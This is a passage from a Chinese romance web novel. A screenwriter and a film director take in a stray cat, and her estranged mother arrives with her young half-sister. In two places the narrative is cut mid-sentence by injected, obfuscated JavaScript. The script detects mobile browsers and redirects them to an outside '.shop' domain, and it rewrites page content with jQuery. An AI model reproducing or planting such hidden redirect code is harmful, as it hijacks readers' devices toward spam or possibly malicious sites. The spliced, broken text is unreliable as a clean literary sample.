谈雪昼干脆承认:“我女朋友是电影。” 宜夏安静两秒,看进他的眼睛,轻声问:“为什么……会想拍电影?” “没有别的理由,就是有意思。” 他的脸孔上火光明灭,眼窝格外深邃,睫毛长到能在眼底投下一圈阴影。那睫毛像蝴蝶翅膀或者蜻蜓翅膀那样扇了一下,落下缤纷的彩色磷片。 他转头看她,声音很轻,竟然有些说不上来的温柔:“还是当时回答你的那个答案,我想做,所以做了。我做事,一般不想有什么意义,有什么价值,只是我想去做而已。” 宜夏看着他,有些恍神。 他和她真的不一样。 和她的想象也不尽相同。 他……怎么说呢,其实是个,很难简单定义、详细描写的人。 宜夏一直觉得电影承载了很多很多意义,社会的意义,教化的价值,她从来不觉得一部电影只是单纯的趣味或者个人审美的问题。 她想事情会比较复杂,考虑很多,思前想后。 可是他完全不同。 原来,他真的很简单。 是很纯粹很简单的人。 也许这个社会,那么人喜欢他,就是因为他简单纯粹,只有真正的纯粹,才能让那么多人感动。 为他的主角,为他的故事,为他藏在电影画面与情节背后的,纯粹简单的分享欲感动。 他拍电影,是想把自己觉得最有意思的东西大方分享给所有人。 而不是高高在上,想要教育别人。 宜夏失神地想,她对他是不是有偏见? 其实,有些时候,是她太复杂,所以看不到简单纯粹背后的真心。 他漫不经心地朝火堆里丢着树枝。 火光在他的虹膜上明明灭灭,淡淡地浸出一层清凉的光晕。 突然转头看她,问:“那你呢?” “我?” “你为什么要做编剧?” 宜夏轻声说:“开始只是想写一点东西……后来就误打误撞入行了。谁知道第一个剧本拍出来了,还拿了奖……就一直干了。我没想那么多。后来写了一个剧本,……” 想到《强制报告》,宜夏突然如鲠在喉,没办法继续说下去了。 “然后呢?” “写了一个挺好的剧本,但是签合同的时候没有看清楚,”宜夏声音很闷,“出了一些状况,所以……其实我现在也不知道我为什么还坚持。可能就是一口气撑着,想证明自己其实不差吧。” “我只有这一份手艺,不像你。” “你其实……”谈雪昼转头看她,“确实不差。” “……是吗?” 一声微弱的猫叫打破了两人径直的对视。 “你听到了吗?” “嗯。”宜夏侧耳仔细听,“好像是猫叫?” 谈雪昼辨认了一下方位,站起来打开手电。循着猫叫声走到角落,一只浑身湿透的小猫趴在角落,哀哀叫着,皮毛贴在身体上,瘦骨嶙峋,前爪隐隐渗出血迹。 宜夏蹲下,有些不可思议:“不是野猫,这是家猫。” 猫脖子上挂着一根皮绳,显然是之前有过主人。怎么会突然出现在这荒郊野岭,还被雨淋成这样?这么可怜。 谈雪昼单手就把猫捞了起来,拎去火堆旁边。 他抓着猫两只前爪给它烤火烘干它的皮毛,猫小声小声叫着,声音特别娇嫩。 宜夏凑过去小声问:“小猫,你怎么在这里?” 猫:“喵。” “你主人呢?” “喵。” 宜夏很为难:“不配合我工作,不好好回答问题。” 谈雪昼说:“应该是被抛弃的。” “你怎么知道?” “绳上本来应该扣了主人的联系方式卡,卡被取掉了,应该不是猫自己取的。”他说,“是主人拿走的。” 宜夏抱着膝盖,呆呆看他很熟练地给猫顺毛。 谈雪昼顺了一阵毛,冷不丁开口:“我要养。” “嗯?” 谈雪昼说:“我要把它带回去。” 宜夏:“说不定不是被抛弃的,只是走丢了,你带回去它主人要是来找它了怎么办?” “看这样子已经流浪了好几天了,要是我们不带回去,说不定它活不了几天。它这么小。” 宜夏沉默两秒,声音微妙:“……我们?” 谈雪昼抱着猫,淡定说:“给你一个接近我的借口。” 宜夏:“……” 宜夏把猫薅过来摸了两把,干脆转移话题:“你微信头像也是一只猫。那只是你养的吗?” “嗯。” “多大了?” “已经走了。”他顿了下,“二十岁。” “……年龄大了走的?” 谈雪昼揉着小猫茸茸的皮毛,偏过头看她,半晌说:“我眼睛刚出事那段时间,基本看不见,有一次没看好,它跑出去被车撞到了。” 宜夏呆了一秒:“你眼睛……差点看不见?” “都过去了。”谈雪昼梳理猫咪的绒毛,嗓音低沉干净,“已经过去了。” 他突然不想再计较那些事了。 她不知道,不记得,或者故意忘记,种种可能,他不想再介意。 宜夏沉默片刻,小心翼翼安慰他:“不过,二十岁的猫咪,也可能是有了一些预感,不想要你太伤心,跑出去的。所以,你不要太难过。” 后半夜,宜夏困得眼睛睁不开。 悄悄瞄了谈雪昼一眼,又往他坐的地方挪了挪,但还是注意着没有肢体接触。她抱着膝盖,实在是困得不行了,记得交代谈雪昼:“谈老师,我撑不住了眯两分钟,如果你要睡的话喊我起来,我帮你看着火。” 谈雪昼有一下没一下梳着猫咪的皮毛,声音淡淡的:“睡吧。” 宜夏头埋在膝盖上,一秒钟就成功入睡了。 谈雪昼侧过头看她。 安静凝视了很久,他试探着伸手把她的脑袋拨到自己肩膀上。 让她靠着。 他垂着眼皮,能看见她的睫毛在脸颊上投的阴影。 黑暗蓊郁,她身上却带着温暖的光。她的月亮是香草味的冰淇淋,她的太阳是红彤彤的流心柿子,她的星星是冷冻的钻石糖,她的风啊云啊雨啊,都是温柔和缓的。 她曾经从孤独的黑暗中挽救了他。 给他的世界装上月亮、太阳和星星,月亮台灯、太阳路灯和星星小彩灯,所以,他会一次一次再一次地沦陷。 - 宜夏第二天早上醒来的时候发现自己躺在谈雪昼怀里。 字面意义上的,怀里。 谈雪昼没睡,一直坐着。 宜夏整个身子歪在了他胸口,半边肩膀被他虚虚拢着不至于滑落,维持着一个非常高难度的姿势睡了后半夜。 早上一睁眼,她就对上了谈雪昼困倦的眼睛。 她一时间还没反应过来,谈雪昼突然松开手,她立刻从他怀里滑下去,仰摔到他腿上。 她懵着,听见头顶谈雪昼懒洋洋的声音:“还不起来?要享受多久?” 宜夏慌忙想从他身上起来,谁知手掌底下按着的竟然是他的大腿……只能说肌肉很硬,但又有点软,一种很复杂留有余味的手感。 宜夏呆住了,谈雪昼却突然一动,她没支撑点,结实往下一磕。 ——正正好,就把人撞得仰面倒在了地上。宜夏趴在他胸口,两个手掌撑着地面。 整个人都掉线了。 这次宜夏真不是故意的。 她赶紧想爬起来,肩膀却突然被他圈住。 宜夏能听见他急促有力的心跳声。 一瞬间两个人的身体贴得很紧。 近得能听见他的呼吸,感受到他胸口心脏的震动。 速度有点快。 她还没反应过来,他突然又一下松手推开她,偏过脸倒打一耙:“行了,不要故意再创造肢体接触了。” 宜夏瞬间坐直,涨红了脸:“不是……我……你?” 谈雪昼曲起腿,淡定说:“差不多得了。” 宜夏:“???” - 两个人早晨简单修整一番继续上路。 谈雪昼没忘带上昨晚那只小猫。 猫很听话,乖乖缩在他衣服口袋里。 昨晚光线不好没看清猫的毛色,今天才看真切,这只猫一定是因为长得不好看才被丢掉的——是只毛色斑斓乱七八糟的玳瑁猫,斑块东一撮西一撮,像几只猫的皮毛不和谐地拼凑到了一起,长得不能说是静若处子吧,简直是动若脱兔。 丑小猫。 但看着小猫蔫头耷脑的躲在谈雪昼口袋里,她就没忍心说一些PUA小猫的话。 猫好,人坏。 两人一猫顺着公路走了好几公里,终于遇见了一辆路过的大卡车。好心的卡车司机让他们俩上车,顺路把人带到了小岛另一端的小镇。虽然没回到家,但小镇上有公交车可以搭。 不过两个人又没现金又没手机,最终只能靠刷脸搭上了回家的车。 一通折腾下来,到家已经是下午了。 宜夏又累又饿又困,洗了个澡就昏昏沉沉地睡了过去。 再醒来时,窗外烟粉色的晚霞铺天盖地,好像妃红烟紫的旗袍布料在画框里陈列招展,稍稍一抖动,满世界金粉扑簌簌落地。 温暖灿烂。 宜夏趴在床上赖了两分钟,一股……什么东西烧糊的味道从外面飘了进来。 什么东西。 她连忙跳下床,跑到厨房一看。 谈雪昼人在厨房里。不知道做什么东西,把锅烧糊了,他正在端着锅研究问题出在了哪里。 宜夏看着厨房满屋的黑烟,简直头大:“你在干什么?” 谈雪昼转过头看到她,一点也不窘迫,很淡定地说:“你家锅突然自己糊了。” 宜夏沉默片刻:“……那我待会儿联系下走近科学节目组,看看怎么个事。” 她挤进厨房,从他手里夺过那个已经烧糊得不行的小锅,放在水龙头下冲洗。 她从卧室出来得着急,没注意自己身上只穿了一件白色的吊带睡裙。肩膀上是蝴蝶的绑带,细细的一根挂在玲珑圆润的肩头,温润的丝缎布料从胸口往下收束到腰肢,再往下,裙摆散开,两条纤细的腿露在外面,皮肤也泛着映着一层暖暖的珍珠白,珠光似的晕开。 谈雪昼单手撑着桌面看她洗锅,有点入神。 快洗干净,他清了清嗓子,懒懒说:“那我晚饭要吃粉蒸排骨。” “家里哪来排骨。” “我去买。” “也行。……你骑我的车去。钥匙在抽屉,顺便买条鱼吧,还要一点葱。你会买吧?你认识葱吧?别买成蒜薹了。” “看不起谁?” 谈雪昼取了钥匙出门,宜夏不一会儿就听见小电驴启动的轰鸣声。她推开厨房的窗户,看见谈雪昼戴着一个粉色的安全头盔,十分自然地骑上小电驴,径直出了院子。 他身高腿长,坐在小电驴上人还有点委屈。头上那个粉色的安全头盔上有两个兔子耳朵,上面还竖着一根竹蜻蜓,他戴着看起来特别幼稚。 整个画面滑稽得有点可笑,又挺……可爱,宜夏没忍住笑了下。 她低着头继续洗锅,冷水浸着指尖,像水波里盈盈的葱白。 两秒之后,她猛地意识到,她好像跟谈雪昼熟起来了。 不仅是熟悉。 甚至,有点亲密。 - 谈雪昼买回来一袋排骨,还买了两条鱼。 一条大鱼,老板已经处理好鱼鳞了,宜夏可以直接烧。 一条小鱼,巴掌大,是他带给小猫的。 两个人吃完晚饭就开始研究这只初到家里的猫。 宜夏其实不太愿意养猫,因为猫掉毛特别烦。这么小的猫要养大也很费功夫。 而且而且。 要是她和谈雪昼一起养,谈雪昼之后把猫带走了……那她不就竹篮打水一场空? 这些扫兴的心理活动她都没说出来。 她用鱼做了顿猫饭,看毛茸茸吃得很开心,就释然了。 得过且过吧,想那么远做什么? 谈雪昼给这只猫取了名字。 大名叫瑁大不韪,小名叫瑁妹,英文名叫Molly。 宜夏就叫它妹妹。 妹妹别的都挺好,就是真的……长得有点丑,毛色乱七八糟,简直是鬼斧神工,颇有抽象主义后现代风范。 但丑归丑,谈雪昼这人眼光比较崎岖,喜欢这猫喜欢得不行,拿着单反下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534561|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来给猫拍了好多张照片。 宜夏也蹲着拿手机拍了不少。 正玩着猫咪,手机突然震动起来。 来电显示:宜月心。 她妈妈,宜月心。 前段时间她打电话来,说要回国,要看她。 可能是已经回国了吧? 宜夏和宜月心的关系算不上好。 宜月心未婚生子,从生下她起就没有管过她,把她留给了外婆,一个人去了大城市闯荡。 宜夏小的时候,宜月心告诉她迟早有一天会接她去大城市。可是宜月心没有信守承诺,哪怕她小时候生大病,脑震荡,住院一两个月,宜月心都没来看过她。 后来宜夏到高中的时候,宜月心结婚了。 不仅是结婚,甚至是母凭子贵,嫁入了有钱人家。可是那场婚事,却给宜夏带来了想不到的痛苦。 宜夏放下猫爪转身去了院子里。 犹豫了片刻才接起电话。 宜月心在那边声音低低柔柔的:“小夏?是妈妈。” 宜夏“嗯”了一声,问:“有什么事吗?” 声音干巴巴的。 宜月心没被她生硬的语气影响,声音依然温温柔柔:“小夏,妈妈这几天已经回来了。前几天给你打了电话,妈妈想来岛上看看你,好不好?” “我不是说过,不用了吗。” 宜夏的伶牙俐齿在妈妈面前没有施展的力气,每句话都干巴巴的,透露着一股拒绝交流的气息。 “妈妈听你全叔叔说了你工作上的事儿。” 宜夏:“……哦。” “你全叔叔在这方面人脉挺多的,妈妈就想着,你有没有什么需要妈妈帮忙的?” 宜夏立刻说:“不用了,这都是我自己的事。” 宜月心轻声说:“妈妈没有别的意思,就是想着,妈妈之前亏欠你太多了,真的太多了,想弥补你。你工作上,生活上,有什么妈妈能帮得上忙的,妈妈一定帮你。” 两个人的对话太客气。 宜夏有点讽刺地想,世界上不会有亲母女,彼此之间用这么客气疏离的语气说话。 宜夏沉默片刻,轻飘飘拒绝了:“真的不用。如果没有什么事的话,你可以当做没有我这个女儿,这样,你可能会好受一点,我也是。” 对面被她一句话堵了半分钟,声音有点难过:“妈妈只是……真的没有恶意。你要是有什么需要,妈妈这边,你始终是可以依靠的。还有你全叔叔,你全叔叔一句话,不顶你自己无头苍蝇似的乱撞?” 宜夏不吭声。 宜夏对妈妈有过憧憬和向往。 直到高中,那件事发生之后,她就再也不对她抱有希望了。 但她也不想跟妈妈吵架,冷淡很久,低声说:“再说吧。我自己有办法。我现在住外婆留给我的房子,还能收房租,饿不死。” 宜月心低声说:“但那不是长久的路,总不能一辈子待在岛上,一辈子开民宿。你要是愿意的话,妈妈给你在江流买套房子,你一个人住,平时交际,工作往来也比较方便一点,你觉得呢?” 宜夏轻飘飘问:“给我买房子,是用你的钱,还是全叔叔的钱?全叔叔他同意吗?” 宜月心顿时哽住了。 宜夏这么刺跟自己血脉相连的妈妈,其实心里也堵得很慌,很快说:“没事我就挂了。” “等等。”宜月心那边犹豫两秒,“小夏,是这样。”她朝旁边唤了一声,“琪琪过来。” 不一会儿,电话那边换了个软软甜甜的小女孩儿的声音:“姐姐!” 宜夏一怔:“琪琪?” 宜月心说:“琪琪想你了。这次我回国,她非要跟着回来,还要找你。你方不方便,替我照顾她几天?我们过段时间马上就又要回美国了。” 琪琪在那边立刻叽叽喳喳地说上了,一连串中文夹英文,咕嘟咕嘟往外冒:“姐姐,我很想你,我们都很久没有见面了对吗?你还喜欢我吗?你在外面是不是有其他喜欢的小朋友了?” 全安琪是宜月心和全叔叔的女儿,宜月心拼了四十多岁高龄去美国生出来的,宜夏同母异父的妹妹。 宜夏高考的时候,琪琪出生。 本来宜夏基本跟宜月心已经断了联系,但宜月心生了琪琪,估计是在全叔叔身边的地位稳固了,才突然想起自己这个未婚生下来的拖油瓶大女儿,回来找她,想要“弥补”。 宜夏那时候快成年了,对大人的自私看得明白。 但她能拒绝宜月心的虚伪,却没办法拒绝一个跟自己流着一半相同血液的漂亮的小姑娘。小姑娘两岁的时候缠着她叫姐姐,五岁的时候从美国带回来一大箱芭比公主,把最喜欢的送给姐姐,现在七岁了,依然全世界最喜欢姐姐。 宜夏跟宜月心关系是一般,但跟琪琪却挺亲密,还经常视频聊天。 琪琪去年去了美国之后有时差了,联系才变少。 宜夏顶不住琪琪的软磨硬泡,答应了宜月心。 她本来以为得去江流接琪琪,结果宜月心说她会亲自送琪琪来岛上。 宜夏突然紧张起来,回头看了客厅里正在撸猫的谈雪昼一眼。 宜月心和琪琪一起来岛上,就一定会来家里。 然后就会发现,她和一个男的,维持着一种莫名其妙的同居关系。 想必少不了一顿说教。 宜夏要说理由是有理由的,对方是租房的客人嘛。 但这理由,宜夏想了一想,听起来还是不太充分,不好交代。 宜月心本来就不同意外婆和她开民宿,要是知道她接待客人这么荤素不忌,肯定会不满,会各种游说,甚至阻止她继续开民宿,让她把钱退走之类的。 她最好不要让宜月心知道唯一的租房对象是男的。 她定定看着谈雪昼被朦胧光线笼罩住的侧影。 他弓着背逗猫,兴致勃勃的样子。 不行,得找个借口让他躲开。 ……听起来,怎么这么像偷情? 宜夏一脑门点子,满怀心事挂了电话推门进了客厅。 心不在焉去厨房拿了两瓶果汁出来,随手给谈雪昼递了一瓶,她皱着眉头咬着瓶盖。 谈雪昼懒懒地摸着猫:“喂?” 宜夏看向他。 谈雪昼把她的饮料瓶捞了过去,随手拧开再递回给她。 宜夏旁敲侧击问:“你明天一早照常出去吗?” “明天休息。” 宜夏:“为什么突然要休息?你不用努力工作吗?” “我呢,本来就是在度假。勘景只是顺便的工作。而且……”他转过头,慢吞吞摸着猫咪的软毛,凉凉说,“或许你可能知道,我昨天负重五十千克徒步走了三个小时,我背的那个人你可能也认识。” 宜夏耳根通红,立刻说:“没有五十,我只有四十五!你不信试试!” 谈雪昼怀疑地看着她,顿了半秒,吐出三个字:“怎么试?” “不然你再背一下,掂一掂?” 谈雪昼拎着猫咪的后颈站起来:“免了。对人类承受地心引力的数值大小没有兴趣。”走上楼梯的时候,又回过头来慢悠悠补刀,“对十块一斤二十三斤的肉类也没有兴趣。” 宜夏:“……!!!” 啊啊啊这个人嘴巴怎么这么讨厌呢! 18. 春日 宜夏缩在床上看手机。 叮咚一声。 琪琪: 【姐姐】 【>>>语音】 凑在耳边一听,琪琪的声音黏糊糊的:“我明天早上一大早就出发!我们马上就可以见面啦姐姐,我好想你哦。” 宜夏给她发了几个亲亲小表情。 她一连串来问:“妈妈说明天要坐轮船哦,姐姐轮船是不是好大?好美的那种。妈妈带我从香港去日本的时候我坐过一次邮轮,不过好晕好晕。姐姐你明天会第一时间来接我吗?” 这小孩儿还挺话痨的。 宜夏跟她聊了好一会儿,把她哄开心了,退出聊天框,点开了和谈雪昼的聊天窗口。 得想个办法,想个理由让谈雪昼明天一早就躲出去。 ……不行,越想越像偷情怕被家里人发现。 宜夏试探着打字,删删改改,始终想不到好借口。 在对话框里输入了半天,又停手。 半分钟后。 谈雪昼: 【?】 宜夏干脆直接没找借口: 【你明天还是出去吧,我看天气预报过几天要来台风了,估计有好长一段时间工作不了呢。】 谈雪昼: 【你怎么回事?】 宜夏: 【没有,我就是替你操心进度呀。】 谈雪昼: 【这么想要我明天出去】 【你打算】 【明天在家里干什么?】 那是我家,又不是你家。 宜夏想说不要这么有主人翁意识。她绞尽脑汁找借口,他却慢腾腾又发来一条: 【要私会野男人,怕我发现?】 宜夏: 【……】 谈雪昼: 【我呢】 【明天需要休息一整天。】 【不管有几个野男人要来,最好都不要让我发现。】 宜夏简直不知道跟他说什么。油盐是全都不进啊。 怎么办怎么办,要是明天真撞上了……那就直说吧,直说这是客人,应该也没什么……吧?最多被宜月心说教一顿? 她在床上蹬腿。 之所以想避开,不全是怕宜月心的说教……更是感觉有点尴尬。要谈雪昼真是纯客人她完全无所谓,可是现在她对人家有非分之想,完全就是做贼心虚。 算了。 船到桥头自然直。 第二天宜夏一大早起来,打着哈欠做了早饭,却不见谈雪昼从楼上下来。 她拿着锅铲走到楼梯口喊了声,没动静。 桌上手机嗡的一声。 谈雪昼: 【我带猫去江流体检。晚回。】 【尽情招待你的野男人。】 宜夏: 【我会尽量在你回来之前,把他们都藏好。】 谈雪昼: 【?】 【行。】 宜夏换了身衣服,绿色的花瓣吊带短上衣,加上一件高腰阔腿牛仔裤,很有青春气息。简单扎了个丸子头,收拾齐整去码头接人。 在码头等到十点钟,早班的轮渡抵达岛上,宜夏一眼就看见了宜月心牵着琪琪从大厅里走出来。 琪琪有点儿蔫,估计是晕船了,脚步也不蹦蹦跳跳的,很乖地跟着妈妈走出来。见到门口的宜夏,琪琪立刻精神起来,张大眼睛,伸开双臂笑着朝她奔过来。 宜夏蹲着抱住小朋友站起来。 宜月心戴着大帽子,穿着非常得体的香奈儿女士套装,微微昂着下巴:“小夏。” 宜夏顿了一秒,喊她:“妈。”转过头碰琪琪头上的小辫子,“琪琪今天打扮这么漂亮?琪琪怎么这么好看?” 琪琪笑着说:“姐姐今天也好漂亮,姐姐最好看了!” 宜夏抱着妹妹带他们走去车附近。 宜月心一看是辆老头乐,语气温柔说:“小夏,要不要妈妈送你一辆车?” 宜夏语气有点生硬:“岛上不需要。” 待三个人都坐上车,宜夏启动的时候,宜月心才开口:“我想你没有必要那么抗拒妈妈的好意。” 宜夏没接话,发动了车。 宜月心半路没忍住又开口:“小夏,你要是缺钱,你要跟妈妈讲。妈妈只有你和琪琪两个孩子,琪琪还有爸爸,你没有,妈妈心里一直想着你的。” 宜夏不想在小孩面前争论,所以懒得多说,“嗯”了一声。 “还有,妈妈觉得,民宿最好不要继续开了。”宜月心说,“毕竟是你长大的地方,租给陌生人住,有点不像话。” 宜夏不想争执,消极抵抗:“再说吧。” “最近有客人吗?” 宜夏:“有。” “男的女的?” 宜夏只能编谎话:“有男的也有女的。都是游客。” “陌生人素质有高有低的,就怕他们破坏老房子。”宜月心见她不愿意多搭腔,也没一直说下去。 老头乐停在了院门口,宜夏把琪琪抱下车。 琪琪自己跑过去推开院门,转过头欢快地说:“姐姐!好多花,好漂亮的院子呀!” 宜夏摸摸她脑袋,牵着她进了大门。 宜月心在沙发上坐下,宜夏给她端了一杯水过来。她喝着水,忽然注意到小茶几上的双梁飞行员墨镜。 ——男式的。 宜月心拿起那个墨镜,问宜夏:“是客人的?” 宜夏心跳漏了一拍,镇定点头。 宜月心端详着那个墨镜,Hermes,镜腿的侧面有一串纤细的花体英文标识,有些似曾相识。 她把墨镜搁下,环顾一圈,冷不丁说:“小夏,你也已经二十五六岁了。” 宜夏没说话。 宜月心:“妈妈这次来找你呢,也是想当面,跟你聊一聊。” 宜夏垂着头抱住手臂,是有些抗拒的身体语言。 宜月心说:“妈妈知道你跟舒润谈过恋爱,又分手了。现在没再找吗?” 宜夏摇头。 “你这孩子。”宜月心说,“妈妈当然也不是催你找男朋友,催你结婚。只是婚姻你也该考虑考虑了,妈妈跟你这么大的时候,都有你了。” 宜夏抬起头,脸孔清淡如一盆冰水:“我不会在没想清楚的情况下找人结婚生孩子的,对孩子太不负责任了。” 宜月心:“……” 她沉默片刻,若无其事说:“妈妈这边也有一些年轻人,都是青年才俊,条件也还不错,都没成家,你看你什么时候有时间,就去江流见见。你现在一个人在岛上,也不是那么回事。” 宜夏忽然说:“我不喜欢男的。” 宜月心:“?” 宜夏说:“我是女同性恋。” 宜月心:“……” “所以你不必给我介绍男朋友,我对男的没有兴趣。” 宜月心迟疑:“你……这……那你之前和,舒润?” “所以我们分了。” “不是,小夏,我知道你可能确实有点抗拒,但也没必要说这种话。如果你不想,那妈妈就不提。感情上的事,确实也不该勉强。还是说说你工作吧,我昨天跟你全叔叔打电话了,他说你要有需要,完全可以找他,他帮你打声招呼。”宜月心语速越来越快,都有点着急了,生怕宜夏一个劲说自己不喜欢男的。 宜夏没说好,也没说不好。 有时候必须要有一点点骨气,才能支撑起一个人。 宜月心顿了下,又说:“全叔叔给你帮个忙是小事,你不要一直忌讳。” 宜夏转过头,看见琪琪撅着屁股在地毯上玩自己的一大堆积木。她看入神,好一会儿才回过头跟宜月心说:“我不是忌讳。我只是,做不到心安理得。” 宜月心:“……”她沉默片刻,手指攥紧了膝盖上的铂金包,若无其事说,“大人之间的关系,小夏,你那时候年纪还小,不明白。妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556182|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈是不会害你的,妈妈只是现在有了能力,想要弥补你。” 宜夏不愿意多说了,垂着头捏沙发上的浅咖色鹿角抱枕。 这个抱枕还是谈雪昼买来的。不知道为什么,他好像对鹿角的形状情有独钟,譬如说他开的传媒公司LOGO就是一个鹿角,电影里也总是出现鹿的元素,上次宜夏不小心瞥见他的小夜灯,也是晶莹剔透的浅绿色鹿角。 不知道有什么特殊说法。 宜夏走神了,宜月心也不能多说什么,只好把琪琪叫过来,交代了她要听姐姐的话,没坐多久就离开了。 宜夏其实也不想跟亲生的妈妈关系这么冷漠恶劣。 只是…… 她心里一直有一根太深太重的刺,扎在心口,鲜血淋漓,要拔出来,会流干心口的血。 宜夏完全不会把对宜月心的恶劣态度迁怒到琪琪身上。 琪琪很乖,坐在地毯上自己拼拼图。 宜夏陪她拼了一会儿,她软软趴在她身上撒娇,肚子叫了起来。 宜夏去厨房给她做了个炒饭。 然后就见她把饭里所有青豆、豌豆、胡萝卜丁一颗一颗地挑了出来,摆到小碗里。 宜夏严肃说:“小朋友不能挑食。” 琪琪眨着大眼睛:“可是我不喜欢吃耶。” 她就吃了两勺饭就不肯再吃了。 宜夏劝她:“不吃饭会饿呀,多吃一点对身体好。” 琪琪满不在乎玩她的娃娃:“姐姐,你能不能不要和妈妈一样管我啦?” 宜夏知道她为什么要来跟姐姐住了。 原来是被妈妈管烦了。 还挺有心机的一个小朋友。 琪琪玩了一会儿,缠着宜夏给她放艾莎公主的动画。 看了一小会儿呢,又厌倦了,说要出去院子里挖土。 宜夏没想到视频里那么可爱的天使小妹妹居然能这么闹腾,拦也拦不住,只好跟着她一起去挖土。她神神秘秘躲在栅栏旁边挖了好一会儿,宜夏凑过去看,她突然就把一根蚯蚓伸到宜夏眼前:“姐姐!大蚯蚓!” 宜夏心脏骤停,半晌才心累地把蚯蚓放生了,拎着妹妹去洗手。 妹妹干净漂亮的MIUMIU小裙子沾满了泥巴,洗了手也不肯消停,又缠着宜夏要玩荡秋千。 宜夏的问题是:“哪来的秋千?” 琪琪眨巴着大眼睛:“姐姐做啊,姐姐会做吗?我在Tiktok上看见有个姐姐做了好漂亮的秋千,上面还有很多花!” 宜夏十分动容,然后拒绝。 琪琪就不理她了。 背对着她蹲在小院子门口,抱着□□熊娃娃,望着门外的环海公路,眼神忧伤。 谈雪昼回来的时候看到的就是这一幕。 - 谈雪昼大清早坐船离开了清塘岛,去约好的宠物医院里给猫做了体检驱虫。猫月龄小,做检查细致,花了好几个小时。他没有一直在宠物医院等,发了条信息喊徐皑出来吃午饭。 徐皑吃惊他居然舍得下岛了,问他要不要再喊几个人攒个局。谈雪昼只想简单吃个饭,徐皑于是一路直奔宠物医院,两个人找了家私房菜馆。 吃到一半,徐皑放下杯子:“说吧,怎么了?” 谈雪昼揉了揉眼睛。 他其实也不是非要一定戴墨镜,只是不戴的话,就要随时滴眼药水。今天出门没戴墨镜,也没带眼药水,眼睛就干得有点不舒服,眼球刺痛。 闭着眼睛休息半分钟才舒服了,他缓缓问:“什么怎么了?” “根据我的推理,你先别说话,我觉得你指定是遇上什么桃花了。” 谈雪昼:“继续推理。” “不然你找我还能有什么事?不至于你上岛一个月,写了个本子出来吧?什么样的?” “桃花……”谈雪昼顿了下,“也不算。” 他沉吟片刻:“你能接受曾经耍过你又突然消失的女人吗?” 徐皑:“?” 19. 春日 第19章 “那必须不行!” “耍过你是什么情况?你身边什么时候有过女人了?女演员?女明星?我怎么觉得你除了拍戏接触女演员之外,身边连个母苍蝇都没有啊?什么情况啊小雪?你心里还深藏着一段情呢?” 谈雪昼:“……” 徐皑兴致勃勃,真来精神了,倾身凑过来:“你具体说说呗。我还真挺好奇,什么天仙一样的姑娘,耍了你又玩消失,你居然还能考虑要不要原谅?不会是给你下了蛊吧?那什么,苗疆妖女?” 谈雪昼蹙起眉:“别这么说她。” “完了。这下好像你真完了。” 谈雪昼说:“也不算耍了我,毕竟也没挑明白。也不算玩消失,只是……” 谈雪昼下意识为她找借口,声音低下去,很含糊,“只是没来看我而已。” 徐皑:“到底什么情况啊?” 谈雪昼很烦闷:“算了,问你你也不懂。” 徐皑:“你最懂了,有本事别问我。” 谈雪昼冷笑说:“要不是我没人问了,你以为我想问你吗?” 沉吟片刻,他又说,“但是,她……你说她如果不喜欢我,为什么要故意接近我?” “哪种故意?” “清白的故意。” 徐皑哑然。 谈雪昼喝了一口水:“算了,你什么都不懂。” 徐皑无语。 被叫出来准备当狗头军师给白雪公主解答情感上的困惑,结果就被一顿看不起说不懂。我是不懂,那你别来问我。 他还没想好阴阳什么,谈雪昼已经换了话题:“对了,之前你家里要你去相亲,你找的什么借口拒绝?” 徐皑“噗”了一声,惊愕:“你家给你相亲?不是吧,阿姨应该不会管你吧?难道是……老爷子?” 谈雪昼面无表情看着他。 “老爷子居然也坐不住了!哈哈哈哈哈谁家的女孩儿啊?实在不行你去见见呗,见见世面也挺好啊!” “滚。” 徐皑:“我帮你出主意呗,不想相亲你就赶紧找个女朋友,赶紧让家里看见你成家结婚的欲望,这样家里就消停了。不是,你之前不是还监制了一个爱情片吗,什么租男友回家过年,实在不行你租个女朋友给家里证明下你不是不行,怎么样?” 谈雪昼:“算了,行了,闭嘴吧。我家里不让我跟智商太低的人玩。” 话虽这么说,谈雪昼垂下眼帘,把玩着墨镜,却陷入了深思。 有个女朋友…… 所以,耍了我一顿突然消失又突然出现的那个姑娘。 可以吗? - 谈雪昼拎着猫包顺着环岛公路往回走,到距离门口十多米时,见院子门口蹲了一只可爱的洋娃娃。 洋娃娃抱着小熊玩偶,眼神忧伤缥缈。 宜夏跟着蹲在旁边劝她什么。她气呼呼扭过头不搭理,肉乎乎的脸颊Q弹可爱。 谈雪昼走近了,居高临下看着两只:“这哪来的小孩?” 宜夏抬起脸。 要解释身世就有蛮复杂了,她简略说:“我妹妹。” “这么小。” 宜夏小声说:“我妈跟我继父生的。”她转过头跟琪琪说:“叫哥哥,琪琪。” 琪琪慢吞吞地站起来,拍了拍裙摆上的灰,眨巴着眼睛:“这个哥哥我见过的。” 宜夏:“……” 这么小的小姑娘也无师自通贾宝玉的搭讪? 谈雪昼的爱心只针对小动物,对人类幼崽没什么兴趣,略略点了个头就进了院子。琪琪拉着宜夏的手,有点错愕:“姐姐,你和哥哥住一起吗?” 宜夏刚要解释。谈雪昼回过头来,懒散说:“是啊,我们住在一起。” “那叫房东和房客。”宜夏抱起琪琪进了房间。 琪琪对突然出现的哥哥产生了巨大兴趣。 